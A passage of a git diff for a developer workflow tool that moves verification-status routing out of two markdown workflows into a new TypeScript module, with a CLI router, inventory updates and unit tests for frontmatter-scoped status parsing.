MUST add a parity assertion that fails when the two diverge` `DEFECT.GENERATIVE-EXEMPLAR=tests/runtime-launcher-parity.test.cjs (asserts every workflow bash block uses the canonical gsd_run launcher — the in-repo pattern for enforcing equality across parallel surfaces)` +`DEFECT.FRONTMATTER-SCALAR-BROAD-GREP.symptom=a YAML-frontmatter scalar (e.g. VERIFICATION.md status) read with grep "^key:" over the WHOLE markdown report instead of the frontmatter block; a key: line in the body (code block, copied artifact, example) returns extra matches that concatenate after cut|tr into a value matching no expected token, so a valid state is misrouted` +`DEFECT.FRONTMATTER-SCALAR-BROAD-GREP.examples=#586/PR #650 ship.md verification gate — grep "^status:" also matched body status: lines, yielding passed+gaps_found+human_needed instead of passed and blocking a passed phase; the same broad-grep still lives in execute-phase.md (consolidation tracked by #651)` +`DEFECT.FRONTMATTER-SCALAR-BROAD-GREP.detect=grep "^:" on a *.md whose result is compared to exact tokens, with no frontmatter scoping and no -m1; one body line beginning : is enough to break it` +`DEFECT.FRONTMATTER-SCALAR-BROAD-GREP.fix-forward=scope to the leading frontmatter block and take the first match: sed -n '/^---$/,/^---$/p' "$f" | grep -m1 "^:" | cut -d: -f2 | tr -d ' '; fix every parallel copy in the same change or consolidate behind one queryable seam (#651)` +`DEFECT.TEST-SHELL-PIPELINE-NONPORTABLE.symptom=a test that parses a workflow bash block out of a *.md and runs it via execFileSync('bash',...) breaks on Windows two ways: the fence regex uses a literal \n after the bash fence that will not match CRLF and trips windows-test-parity-guard (fenceRegexLiteralNewline); and git-bash exists so a bash-presence probe is true, but an os.tmpdir() Windows path (C:\...) is un-globbable in bash so the pipeline returns empty and assertions fail` +`DEFECT.TEST-SHELL-PIPELINE-NONPORTABLE.examples=#586/PR #650 tests/ship-586-verification-routing.test.cjs — the fence \n offender failed ubuntu-24/macos/coverage, then the Windows tmpdir-path glob failed full test (windows-latest,22) at fail 3; both were invisible to file-scoped gsd-test-both runs because the parity guard is only scanned by the full suite` +`DEFECT.TEST-SHELL-PIPELINE-NONPORTABLE.detect=test does readFileSync(md).match for a bash fence with literal \n, OR execFileSync('bash',...) gated only on a bash-presence probe; also verifying a new test with a file-scoped run instead of the full suite hides repo-wide static guards` +`DEFECT.TEST-SHELL-PIPELINE-NONPORTABLE.fix-forward=match the fence with \r?\n and normalize the captured block to LF; gate pipeline execution on process.platform !== 'win32' && hasBash since the extraction LOGIC is platform-independent and POSIX coverage suffices; run the full suite (or the parity/lint guards) before push when adding a test file` + --- diff --git a/agents/gsd-verifier.md b/agents/gsd-verifier.md index b4a1610d1..2b2641b4e 100644 --- a/agents/gsd-verifier.md +++ b/agents/gsd-verifier.md @@ -576,6 +576,8 @@ Classify status using this decision tree IN ORDER (most restrictive first): **passed is ONLY valid when the human verification section is empty.** If you identified items requiring human testing in Step 8, status MUST be human_needed. +> **Shared status seam**: the status vocabulary (`passed`, `gaps_found`, `human_needed`) and the per-status routing (next action and next command for each value) are owned by `src/verification.cts` via `gsd_run query verification.status`. This agent is the single emitter of the frontmatter status field; consumers (ship.md, execute-phase.md) read routing from that query instead of re-deriving it. + **Score:** `verified_truths / total_truths` ## Step 9b: Filter Deferred Items diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index 60a574eaf..fedcb8ab2 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -344,6 +344,8 @@ "update-context.cjs", "validate-command-router.cjs", "validate.cjs", + "verification-command-router.cjs", + "verification.cjs", "verify-command-router.cjs", "verify.cjs", "workstream-inventory-builder.cjs", diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index 2dcfcb039..2f458c0b0 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -370,7 +370,7 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t --- -## CLI Modules (87 shipped) +## CLI Modules (89 shipped) Full listing: `gsd-core/bin/lib/*.cjs`. @@ -455,6 +455,8 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `update-context.cjs` | Pure install-context resolver for `/gsd:update` — runtime/scope/config-dir/version detection (LOCAL/GLOBAL/UNKNOWN) ported from update.md bash; backs `gsd-tools update-context` (#498) | | `validate-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools validate` | | `validate.cjs` | Pure phase variant normalization helpers (`phaseVariants`, `buildRoadmapPhaseVariants`, `buildNotStartedPhaseVariants`) used by `verify.cjs` for W006/W007 checks; no I/O, no async | +| `verification-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools verification` | +| `verification.cjs` | Verification-status routing — consolidates pass/gaps_found/human_needed status from phase verifier-emitted VERIFICATION.md frontmatter (#651) | | `verify-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools verify` | | `verify.cjs` | Plan structure, phase completeness, reference, commit validation | | `workstream-inventory-builder.cjs` | Pure workstream inventory projection builder | diff --git a/eslint.config.mjs b/eslint.config.mjs index 1b0afc718..6ea65d3bb 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -96,6 +96,8 @@ export default tseslint.config( 'gsd-core/bin/lib/config-types.cjs', 'gsd-core/bin/lib/phases-command-router.cjs', 'gsd-core/bin/lib/verify-command-router.cjs', + 'gsd-core/bin/lib/verification.cjs', + 'gsd-core/bin/lib/verification-command-router.cjs', 'gsd-core/bin/lib/init-command-router.cjs', 'gsd-core/bin/lib/agent-command-router.cjs', 'gsd-core/bin/lib/task-command-router.cjs', diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index d2e96cabf..7d50dffcd 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -198,6 +198,8 @@ const learnings = require('./lib/learnings.cjs'); const gapChecker = require('./lib/gap-checker.cjs'); const { routeStateCommand } = require('./lib/state-command-router.cjs'); const { routeVerifyCommand } = require('./lib/verify-command-router.cjs'); +const { routeVerificationCommand } = require('./lib/verification-command-router.cjs'); +const verification = require('./lib/verification.cjs'); const { routeInitCommand } = require('./lib/init-command-router.cjs'); const { routePhaseCommand } = require('./lib/phase-command-router.cjs'); const { routePhasesCommand } = require('./lib/phases-command-router.cjs'); @@ -776,6 +778,26 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand break; } + // ─── Verification Status ─────────────────────────────────────────────── + // + // verification status + // Read the first *-VERIFICATION.md in phaseDir and return + // { status, next_action, next_command } routing result. + // + // Note: `verification` (reads verifier-emitted status) is distinct from + // `verify` (runs verification checks like plan-structure/artifacts). + + case 'verification': { + routeVerificationCommand({ + verification, + args, + cwd, + raw, + error, + }); + break; + } + case 'generate-slug': { // Phase 6 (#3575): dispatch via SDK executeForCjs when available. // SDK handler: generateSlug in sdk/src/query/utils.ts. diff --git a/gsd-core/workflows/execute-phase.md b/gsd-core/workflows/execute-phase.md index a0c3c89d5..cbe371ff0 100644 --- a/gsd-core/workflows/execute-phase.md +++ b/gsd-core/workflows/execute-phase.md @@ -1425,16 +1425,15 @@ ${VERIFIER_SKILLS}", > **ORCHESTRATOR RULE — CODEX RUNTIME**: After calling Agent() above, stop working on this task immediately. Do not read more files, edit code, or run tests related to this task while the subagent is active. Wait for the subagent to return its result. This prevents duplicate work, conflicting edits, and wasted context. Only resume when the subagent result is available. -Read status: +Read status via the canonical query (scoped to frontmatter, covers missing/unknown cases): ```bash -grep "^status:" "$PHASE_DIR"/*-VERIFICATION.md | cut -d: -f2 | tr -d ' ' +VERIFICATION=$(gsd_run query verification.status "$PHASE_DIR" 2>/dev/null) +STATUS=$(printf '%s' "$VERIFICATION" | jq -r '.status' 2>/dev/null || echo "") +NEXT_ACTION=$(printf '%s' "$VERIFICATION" | jq -r '.next_action' 2>/dev/null || echo "") +NEXT_COMMAND=$(printf '%s' "$VERIFICATION" | jq -r '.next_command' 2>/dev/null || echo "") ``` -| Status | Action | -|--------|--------| -| `passed` | → update_roadmap | -| `human_needed` | Persist and present human testing items; keep phase pending until verification reruns as `passed` | -| `gaps_found` | Present gap summary, offer `/gsd:plan-phase {phase} --gaps ${GSD_WS}` | +Route on `$STATUS`: if `passed`, proceed to update_roadmap. Otherwise keep the phase pending — present `$NEXT_ACTION` to the user and, when `$NEXT_COMMAND` is non-empty, show it as the next command to run. The query covers all cases including missing files (`missing`) and unexpected values (`unknown`), so no per-status arm needs to be listed here. **If human_needed:** diff --git a/gsd-core/workflows/ship.md b/gsd-core/workflows/ship.md index f91aeef26..8504a767b 100644 --- a/gsd-core/workflows/ship.md +++ b/gsd-core/workflows/ship.md @@ -41,15 +41,12 @@ Verify the work is ready to ship: 1. **Verification passed?** ```bash - VERIFICATION_FILE=$(ls ${PHASE_DIR}/*-VERIFICATION.md 2>/dev/null | head -1) - STATUS=$(sed -n '/^---$/,/^---$/p' "${VERIFICATION_FILE}" 2>/dev/null | grep -m1 "^status:" | cut -d: -f2 | tr -d ' ') + VERIFICATION=$(gsd_run query verification.status "${PHASE_DIR}" 2>/dev/null) + STATUS=$(printf '%s' "$VERIFICATION" | jq -r '.status' 2>/dev/null || echo "") + NEXT_ACTION=$(printf '%s' "$VERIFICATION" | jq -r '.next_action' 2>/dev/null || echo "") + NEXT_COMMAND=$(printf '%s' "$VERIFICATION" | jq -r '.next_command' 2>/dev/null || echo "") ``` - The verifier emits exactly `passed`, `gaps_found`, or `human_needed` (see the status table in `execute-phase.md`); only `passed` may ship. Route on `${STATUS}` — on any non-`passed` value, block with `PHASE_VERIFICATION_INCOMPLETE` and state the matching next action: - - `passed` → verification complete; continue to the next preflight check. - - `gaps_found` → run `/gsd:plan-phase ${PHASE_NUMBER} --gaps` to plan the fixes, then re-run `/gsd:execute-phase` before shipping. - - `human_needed` → complete the manual tests in `${PHASE_DIR}/*-UAT.md`, then re-run the verify step until status is `passed`. - - empty (no `*-VERIFICATION.md`) → the verify step never completed; re-run `/gsd:execute-phase`. - - any other value → unexpected status `${STATUS}`; re-run `/gsd:execute-phase` verification. + Only `passed` may ship. If `$STATUS` is `passed`, verification is complete — continue to the next preflight check. Any other value (including `gaps_found`, `human_needed`, `missing`, and `unknown`) blocks with `PHASE_VERIFICATION_INCOMPLETE`: present `$NEXT_ACTION` to the user and, when `$NEXT_COMMAND` is non-empty, show it as the command to run next. The query already handles missing files and unexpected values, so no per-status arm is needed. 2. **Clean working tree?** ```bash diff --git a/src/verification-command-router.cts b/src/verification-command-router.cts new file mode 100644 index 000000000..3c42e71e4 --- /dev/null +++ b/src/verification-command-router.cts @@ -0,0 +1,56 @@ +/** + * Verification-status subcommand router. + * Routes `verification.status ` to verification.cmdVerificationStatus. + * + * Note: `verification` (reads verifier-emitted status) is distinct from `verify` + * (runs verification checks like plan-structure/artifacts). Keep them separate. + * + * ADR-457 build-at-publish: source in src/verification-command-router.cts, + * compiled to gsd-core/bin/lib/verification-command-router.cjs (gitignored). + */ + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import cjsCommandRouterAdapter = require('./cjs-command-router-adapter.cjs'); +const { routeCjsCommandFamily } = cjsCommandRouterAdapter; + +// ─── Types ──────────────────────────────────────────────────────────────────── + +interface VerificationModule { + cmdVerificationStatus(cwd: string, phaseDirArg: string | undefined, raw: boolean): void; +} + +interface RouteVerificationCommandOptions { + verification: VerificationModule; + args: string[]; + cwd: string; + raw: boolean; + error: (message: string) => void; +} + +// ─── Implementation ─────────────────────────────────────────────────────────── + +const VERIFICATION_SUBCOMMANDS = ['status']; + +function routeVerificationCommand({ + verification, + args, + cwd, + raw, + error, +}: RouteVerificationCommandOptions): void { + routeCjsCommandFamily({ + args, + subcommands: VERIFICATION_SUBCOMMANDS, + unsupported: {}, + error, + unknownMessage: (_subcommand: string, available: string[]) => + `Unknown verification subcommand. Available: ${available.join(', ')}`, + handlers: { + status: () => verification.cmdVerificationStatus(cwd, args[2], raw), + }, + }); +} + +export = { + routeVerificationCommand, +}; diff --git a/src/verification.cts b/src/verification.cts new file mode 100644 index 000000000..5a8e782c2 --- /dev/null +++ b/src/verification.cts @@ -0,0 +1,234 @@ +/** + * Verification Status — single queryable home for verification-status routing. + * + * Issue #651: consolidate the pass/gaps_found/human_needed routing that was + * previously scattered across ship.md and execute-phase.md into a single + * tested module. Both workflow files will later consume this module's routing + * table as the single source of truth. + * + * ADR-457 build-at-publish: source in src/verification.cts, compiled to + * gsd-core/bin/lib/verification.cjs (gitignored). + * + * DEFECT.FRONTMATTER-SCALAR-BROAD-GREP fix: status extraction is scoped to + * the leading YAML frontmatter block only. A `status:` line in the body (e.g. + * inside a fenced code block) is ignored — this is the exact failure mode that + * issue #586 / PR #650 identified. The shared extractFrontmatter parser anchors + * its regex at byte 0 of the document, which provides this guarantee. + */ + +import fs from 'node:fs'; +import path from 'node:path'; +// eslint-disable-next-line @typescript-eslint/no-require-imports -- core.cjs is an export= CommonJS module +import core = require('./core.cjs'); +// eslint-disable-next-line @typescript-eslint/no-require-imports -- frontmatter.cjs is an export= CommonJS module +import frontmatterMod = require('./frontmatter.cjs'); + +const { output, extractPhaseToken } = core; +const { extractFrontmatter } = frontmatterMod; + +// ─── Constants ──────────────────────────────────────────────────────────────── + +/** The set of status values that the gsd-verifier agent emits. */ +const VERIFIER_STATUSES: ReadonlyArray = ['passed', 'gaps_found', 'human_needed']; + +// ─── Routing table ──────────────────────────────────────────────────────────── + +interface VerificationRoute { + status: string; + next_action: string; + next_command: string; +} + +/** + * Canonical routing table for verification statuses. + * + * This is the single source of truth — ship.md and execute-phase.md will + * later import from here instead of embedding their own message strings. + * + * INTERNAL SENTINELS: 'missing' and 'unknown' are operational states constructed + * internally — the verifier (gsd-verifier.md) never emits them. The verifier only + * emits values in VERIFIER_STATUSES (passed|gaps_found|human_needed). The guard in + * readVerificationStatus excludes 'missing' and 'unknown' from raw-status table + * lookup so they can only be reached via internal construction paths. + * + * For 'gaps_found', next_command is built at call time in readVerificationStatus + * by substituting the phase number — it is NOT stored as a function in the table. + */ +const VERIFICATION_ROUTING_TABLE: Record = { + passed: { + status: 'passed', + next_action: 'Verification passed — continue.', + next_command: '', + }, + gaps_found: { + status: 'gaps_found', + next_action: 'Gaps found. Plan the fixes, then re-run execute-phase before shipping.', + // next_command is computed at call time; this entry is never returned directly. + next_command: '', + }, + human_needed: { + status: 'human_needed', + next_action: "Human verification required. Complete the manual tests in the phase's *-UAT.md, then re-run the verify step until status is passed.", + next_command: '', + }, + // INTERNAL SENTINEL: constructed when no *-VERIFICATION.md file exists or when + // the file has no parseable frontmatter status. Never emitted by the verifier. + missing: { + status: 'missing', + next_action: 'No verification report found — the verify step never completed. Re-run execute-phase.', + next_command: '/gsd:execute-phase', + }, + // INTERNAL SENTINEL: constructed when the file has a status value not in + // VERIFIER_STATUSES. Never emitted by the verifier. + unknown: { + status: 'unknown', + next_action: '', // filled in dynamically with the raw value + next_command: '/gsd:execute-phase', + }, +}; + +// ─── Helpers ───────────────────────────────────────────────────────────────── + +interface FsLike { + readdirSync(dir: string): string[]; + readFileSync(filePath: string, encoding: 'utf-8'): string; +} + +/** + * Build a 'missing' result from the routing table. + * Used for two early-return paths: no *-VERIFICATION.md file found, and + * file present but no parseable frontmatter status. + */ +function missingResult(): VerificationStatusResult { + const route = VERIFICATION_ROUTING_TABLE['missing']; + return { + status: route.status, + next_action: route.next_action, + next_command: route.next_command, + }; +} + +// ─── Public API ─────────────────────────────────────────────────────────────── + +interface ReadVerificationStatusOptions { + fs?: FsLike; +} + +interface VerificationStatusResult { + status: string; + next_action: string; + next_command: string; +} + +/** + * Read the verification status from the first `*-VERIFICATION.md` file in + * phaseDir and return the routing result. + * + * Behavior: + * 1. Find the first file matching `*-VERIFICATION.md` (sorted, take first). + * If none → status 'missing'. + * 2. Extract `status` from FRONTMATTER ONLY via the shared extractFrontmatter + * parser (DEFECT.FRONTMATTER-SCALAR-BROAD-GREP fix — parser anchors at byte 0). + * If no frontmatter block or no `status` key → status 'missing'. + * 3. Map to routing table. Unknown non-empty value → status 'unknown'. + * + * @param phaseDir - Absolute path to the phase directory. + * @param opts - Options. `opts.fs` allows test injection (defaults to node:fs). + */ +function readVerificationStatus( + phaseDir: string, + opts: ReadVerificationStatusOptions = {}, +): VerificationStatusResult { + const fsImpl: FsLike = opts.fs ?? fs; + + // Phase token for the gaps_found command + const baseName = path.basename(phaseDir); + const phaseToken = extractPhaseToken(baseName); + const phaseNumber = phaseToken.length > 0 ? phaseToken : baseName; + + // 1. Find *-VERIFICATION.md + let verificationFile: string | null = null; + try { + const entries = fsImpl.readdirSync(phaseDir); + const candidates = entries.filter((f) => f.endsWith('-VERIFICATION.md')).sort(); + verificationFile = candidates.length > 0 ? candidates[0] : null; + } catch { + // Directory unreadable → treat as missing + verificationFile = null; + } + + if (!verificationFile) { + return missingResult(); + } + + // 2. Read and parse frontmatter using the shared parser. + // extractFrontmatter anchors at byte 0, so body `status:` lines are ignored. + const filePath = path.join(phaseDir, verificationFile); + let rawStatus: string | null = null; + try { + const content = fsImpl.readFileSync(filePath, 'utf-8'); + const fm = extractFrontmatter(content); + const statusVal = fm['status']; + // status is always a scalar string in a well-formed VERIFICATION.md frontmatter; + // only accept string values — arrays and objects are not valid status values. + if (typeof statusVal === 'string') { + const trimmed = statusVal.trim(); + rawStatus = trimmed.length > 0 ? trimmed : null; + } + } catch { + rawStatus = null; + } + + if (!rawStatus) { + return missingResult(); + } + + // 3. Route — exclude internal sentinels from raw-file lookup (they are + // constructed internally above, never written by the verifier). + if (rawStatus in VERIFICATION_ROUTING_TABLE && rawStatus !== 'missing' && rawStatus !== 'unknown') { + const entry = VERIFICATION_ROUTING_TABLE[rawStatus]; + // gaps_found: build the phase-specific command here rather than in the table. + const next_command = + rawStatus === 'gaps_found' + ? `/gsd:plan-phase ${phaseNumber} --gaps` + : entry.next_command; + return { + status: entry.status, + next_action: entry.next_action, + next_command, + }; + } + + // Unknown value + const unknownRoute = VERIFICATION_ROUTING_TABLE['unknown']; + return { + status: unknownRoute.status, + next_action: `Unexpected verification status '${rawStatus}'. Re-run execute-phase verification.`, + next_command: unknownRoute.next_command, + }; +} + +/** + * CLI command handler: resolve phaseDir against cwd, call readVerificationStatus, + * emit via core.output(). + * + * @param cwd - Current working directory (used to resolve phaseDirArg). + * @param phaseDirArg - Phase directory path (absolute or relative to cwd). + * @param raw - Whether to emit raw (non-JSON) output. + */ +function cmdVerificationStatus(cwd: string, phaseDirArg: string | undefined, raw: boolean): void { + if (!phaseDirArg) { + core.error('phase directory required for verification.status'); + return; + } + const phaseDir = path.resolve(cwd, phaseDirArg); + const result = readVerificationStatus(phaseDir); + output(result, raw); +} + +export = { + VERIFIER_STATUSES, + VERIFICATION_ROUTING_TABLE, + readVerificationStatus, + cmdVerificationStatus, +}; diff --git a/tests/ship-586-verification-routing.test.cjs b/tests/ship-586-verification-routing.test.cjs deleted file mode 100644 index 5dc7d319b..000000000 --- a/tests/ship-586-verification-routing.test.cjs +++ /dev/null @@ -1,112 +0,0 @@ -'use strict'; -// allow-test-rule: runtime-contract-is-the-product -// The ship.md verification gate is LLM-executed prose; its routing message text -// IS the user-facing product surface (RULESET.TESTS.no-source-grep.exemption: -// "reserved for tests where the file content IS the product surface ... agent .md"). -// The behavioral tests below additionally EXECUTE the gate's own bash extraction -// pipeline (parsed out of ship.md) against fixture reports, so the extraction -// contract is verified, not just asserted as text. -const test = require('node:test'); -const assert = require('node:assert'); -const fs = require('node:fs'); -const os = require('node:os'); -const path = require('node:path'); -const { execFileSync } = require('node:child_process'); -const helpers = require('./helpers.cjs'); - -const SHIP_MD = path.join(__dirname, '..', 'gsd-core', 'workflows', 'ship.md'); -const ship = fs.readFileSync(SHIP_MD, 'utf8'); - -const start = ship.indexOf('**Verification passed?**'); -const end = ship.indexOf('**Clean working tree?**'); -assert.ok(start !== -1 && end !== -1 && end > start, 'could not locate the verification gate block'); -const gate = ship.slice(start, end); - -// ---- content assertions (the routing message IS the product surface) ---- - -test('gate captures the status value with a single first-match grep', () => { - assert.match(gate, /grep -m1 "\^status:"/, 'gate must extract status via grep -m1 "^status:"'); -}); - -test('gate scopes status extraction to the YAML frontmatter only', () => { - assert.match(gate, /sed -n '\/\^---\$\/,\/\^---\$\/p'/, 'gate must restrict extraction to the frontmatter block'); -}); - -test('gate routes gaps_found to /gsd:plan-phase --gaps', () => { - assert.match(gate, /gaps_found/); - assert.match(gate, /\/gsd:plan-phase[^\n]*--gaps/); -}); - -test('gate routes human_needed to the UAT manual-test step', () => { - assert.match(gate, /human_needed/); - assert.match(gate, /UAT\.md/); -}); - -test('gate routes a missing VERIFICATION.md to re-running execute-phase', () => { - assert.match(gate, /\/gsd:execute-phase/); -}); - -test('gate still blocks with PHASE_VERIFICATION_INCOMPLETE', () => { - assert.match(gate, /PHASE_VERIFICATION_INCOMPLETE/); -}); - -test('the dead `pass` status arm is gone — only `passed` is accepted', () => { - assert.doesNotMatch(gate, /status:\s*pass(?!ed)/i, 'no bare `status: pass` arm may remain'); - assert.doesNotMatch(gate, /`pass`\s*\/\s*`passed`/, 'the `pass` / `passed` either-arm must be removed'); - assert.match(gate, /passed/); -}); - -// ---- behavioral tests: run the gate's OWN bash pipeline against fixtures ---- - -const bashBlock = (() => { - // `\r?\n` (not a literal `\n`) so the fence matches on Windows CRLF checkouts; - // normalize the captured block to LF before handing it to bash. - const m = gate.match(/```bash\r?\n([\s\S]*?)```/); - assert.ok(m, 'gate must contain a bash block'); - return m[1].replace(/\r\n/g, '\n'); -})(); - -const hasBash = (() => { - try { execFileSync('bash', ['-c', 'true'], { stdio: 'ignore' }); return true; } - catch { return false; } -})(); - -// The extraction logic is platform-independent; the bash *pipeline* is executed -// only where the gate's shell actually runs (POSIX). On Windows, git-bash exists -// but receives Windows-style tmpdir paths it cannot glob, so skip execution there. -const skipBashPipeline = (process.platform === 'win32' || !hasBash) && 'bash pipeline runs on POSIX only'; - -function runGateExtraction(verificationContents) { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ship586-')); - try { - if (verificationContents !== null) { - fs.writeFileSync(path.join(dir, '01-VERIFICATION.md'), verificationContents); - } - const script = `PHASE_DIR='${dir}'\n${bashBlock}\nprintf '%s' "$STATUS"`; - return execFileSync('bash', ['-c', script], { encoding: 'utf8' }); - } finally { - helpers.cleanup(dir); - } -} - -const FM = (status) => - `---\nphase: 01-demo\nverified: 2026-01-01T00:00:00Z\nstatus: ${status}\nscore: 3/3 must-haves verified\n---\n\n# Verification\n`; - -test('extraction yields passed for a passing frontmatter', { skip: skipBashPipeline }, () => { - assert.strictEqual(runGateExtraction(FM('passed')), 'passed'); -}); - -test('extraction yields gaps_found / human_needed verbatim', { skip: skipBashPipeline }, () => { - assert.strictEqual(runGateExtraction(FM('gaps_found')), 'gaps_found'); - assert.strictEqual(runGateExtraction(FM('human_needed')), 'human_needed'); -}); - -test('REGRESSION: a body `status:` line does not corrupt a passing report (Codex PR #650 finding)', { skip: skipBashPipeline }, () => { - const withBodyStatus = FM('passed') + - '\n## Example\n\n```yaml\nstatus: gaps_found\n```\n\nstatus: human_needed\n'; - assert.strictEqual(runGateExtraction(withBodyStatus), 'passed'); -}); - -test('extraction yields empty when no VERIFICATION.md exists', { skip: skipBashPipeline }, () => { - assert.strictEqual(runGateExtraction(null), ''); -}); diff --git a/tests/verification-status.test.cjs b/tests/verification-status.test.cjs new file mode 100644 index 000000000..f81a7f664 --- /dev/null +++ b/tests/verification-status.test.cjs @@ -0,0 +1,331 @@ +'use strict'; + +/** + * Tests for verification-status module (issue #651). + * + * Covers: + * 1. status: passed → routing + * 2. status: gaps_found with phase token extraction + * 3. status: human_needed → routing + * 4. No *-VERIFICATION.md → 'missing' + * 5. Frontmatter status present but unknown value → 'unknown' + * 6. BROAD-GREP REGRESSION: body `status:` lines ignored, frontmatter wins + * 7. PARITY: VERIFIER_STATUSES covered by routing table; gsd-verifier.md emitted statuses covered + * 8. CRLF line endings in frontmatter + * 9. Body-only file (no frontmatter block) → missing + * 10. Nonexistent phase directory → missing + * 11. Multiple *-VERIFICATION.md files → first by sort + * 12. ship.md PHASE_VERIFICATION_INCOMPLETE sentinel (contract anchor for #651 consolidation) + * + * PORTABILITY: pure JS — no shell-outs, no bash fences. + * Cross-platform (passes on Windows). Ref: DEFECT.TEST-SHELL-PIPELINE-NONPORTABLE. + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); + +const { cleanup } = require('./helpers.cjs'); + +const { + VERIFIER_STATUSES, + VERIFICATION_ROUTING_TABLE, + readVerificationStatus, +} = require('../gsd-core/bin/lib/verification.cjs'); + +// ─── Helpers ───────────────────────────────────────────────────────────────── + +/** + * Create a temporary phase directory under os.tmpdir(). + * Returns the absolute path; caller must clean up. + */ +function mkPhaseDir(suffix) { + return fs.mkdtempSync(path.join(os.tmpdir(), `gsd-651-${suffix}-`)); +} + +/** + * Write a *-VERIFICATION.md file with the given frontmatter status and + * optional body content. + * + * @param {string} dir - Phase directory path + * @param {string} filename - e.g. '01-review-VERIFICATION.md' + * @param {string} status - Frontmatter status value + * @param {string} [body] - Content after the closing `---` + */ +function writeVerificationMd(dir, filename, status, body = '') { + const frontmatter = `---\nstatus: ${status}\n---\n`; + fs.writeFileSync(path.join(dir, filename), frontmatter + body); +} + +// ─── Tests ──────────────────────────────────────────────────────────────────── + +describe('verification-status', () => { + + // ── Case 1: passed ──────────────────────────────────────────────────────── + test('status: passed → next_command is empty, status is passed', () => { + const dir = mkPhaseDir('passed'); + try { + writeVerificationMd(dir, '01-foo-VERIFICATION.md', 'passed'); + const result = readVerificationStatus(dir); + assert.equal(result.status, 'passed', 'status must be passed'); + assert.equal(result.next_command, '', 'next_command must be empty for passed'); + assert.ok(result.next_action.length > 0, 'next_action must be non-empty'); + } finally { + cleanup(dir); + } + }); + + // ── Case 2: gaps_found with phase token extraction ──────────────────────── + test('status: gaps_found in "03-foo" dir → next_command includes phase token 03', () => { + // Phase dir basename starts with "03" — extractPhaseToken('03-foo') → '03' + const baseDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-651-parent-')); + const phaseDir = path.join(baseDir, '03-foo'); + fs.mkdirSync(phaseDir); + try { + writeVerificationMd(phaseDir, '03-foo-VERIFICATION.md', 'gaps_found'); + const result = readVerificationStatus(phaseDir); + assert.equal(result.status, 'gaps_found', 'status must be gaps_found'); + assert.ok( + result.next_command.includes('03'), + `next_command should include phase token '03'; got: ${result.next_command}`, + ); + assert.ok( + result.next_command.includes('--gaps'), + `next_command should include --gaps; got: ${result.next_command}`, + ); + assert.equal(result.next_command, '/gsd:plan-phase 03 --gaps'); + } finally { + cleanup(baseDir); + } + }); + + // ── Case 3: human_needed ────────────────────────────────────────────────── + test('status: human_needed → status human_needed, next_command is empty', () => { + const dir = mkPhaseDir('human-needed'); + try { + writeVerificationMd(dir, '01-hn-VERIFICATION.md', 'human_needed'); + const result = readVerificationStatus(dir); + assert.equal(result.status, 'human_needed'); + assert.equal(result.next_command, ''); + assert.ok(result.next_action.length > 0); + } finally { + cleanup(dir); + } + }); + + // ── Case 4: no *-VERIFICATION.md → missing ──────────────────────────────── + test('no *-VERIFICATION.md file → status missing, next_command execute-phase', () => { + const dir = mkPhaseDir('missing'); + try { + // write a non-matching file to confirm it is ignored + fs.writeFileSync(path.join(dir, 'README.md'), '# phase'); + const result = readVerificationStatus(dir); + assert.equal(result.status, 'missing'); + assert.equal(result.next_command, '/gsd:execute-phase'); + assert.ok(result.next_action.includes('verify step never completed')); + } finally { + cleanup(dir); + } + }); + + // ── Case 5: unknown frontmatter status value ────────────────────────────── + test("frontmatter status 'bogus' → status unknown, next_command execute-phase", () => { + const dir = mkPhaseDir('unknown'); + try { + writeVerificationMd(dir, '01-u-VERIFICATION.md', 'bogus'); + const result = readVerificationStatus(dir); + assert.equal(result.status, 'unknown'); + assert.equal(result.next_command, '/gsd:execute-phase'); + assert.ok( + result.next_action.includes('bogus'), + `next_action should mention the raw value; got: ${result.next_action}`, + ); + } finally { + cleanup(dir); + } + }); + + // ── Case 6: BROAD-GREP REGRESSION (critical) ────────────────────────────── + // + // Frontmatter: `status: passed` + // Body: a fenced code block containing `status: gaps_found` AND `status: human_needed` + // Result MUST be 'passed' — proving body lines are NOT matched. + // This is the exact failure mode that issue #586 / PR #650 hit. + // + test('BROAD-GREP REGRESSION: body status lines ignored, frontmatter status wins', () => { + const dir = mkPhaseDir('broad-grep'); + try { + const bodyWithEmbeddedStatuses = [ + '', + '## Section', + '', + 'Some prose about the results.', + '', + '```yaml', + 'status: gaps_found', + 'gaps:', + ' - fix the thing', + '```', + '', + 'Another block:', + '', + '```', + 'status: human_needed', + '```', + '', + 'End of document.', + ].join('\n'); + + writeVerificationMd(dir, '01-bg-VERIFICATION.md', 'passed', bodyWithEmbeddedStatuses); + + const result = readVerificationStatus(dir); + assert.equal( + result.status, + 'passed', + `Expected status 'passed' (frontmatter wins); got '${result.status}'. ` + + 'Body status: lines must NOT be matched.', + ); + assert.equal(result.next_command, '', 'next_command must be empty for passed'); + } finally { + cleanup(dir); + } + }); + + // ── Case 7: PARITY ASSERTION ────────────────────────────────────────────── + // + // (a) Every value in VERIFIER_STATUSES has a corresponding key in VERIFICATION_ROUTING_TABLE. + // (b) Parse agents/gsd-verifier.md for emitted statuses via /→ \*\*status:\s*([a-z_]+)\*\*/g, + // collect the set, and assert every emitted status is a routing key. + // + test('PARITY: VERIFIER_STATUSES covered by routing table', () => { + for (const s of VERIFIER_STATUSES) { + assert.ok( + s in VERIFICATION_ROUTING_TABLE, + `VERIFIER_STATUS '${s}' has no entry in VERIFICATION_ROUTING_TABLE`, + ); + } + }); + + test('PARITY: gsd-verifier.md emitted statuses all have routing table entries', 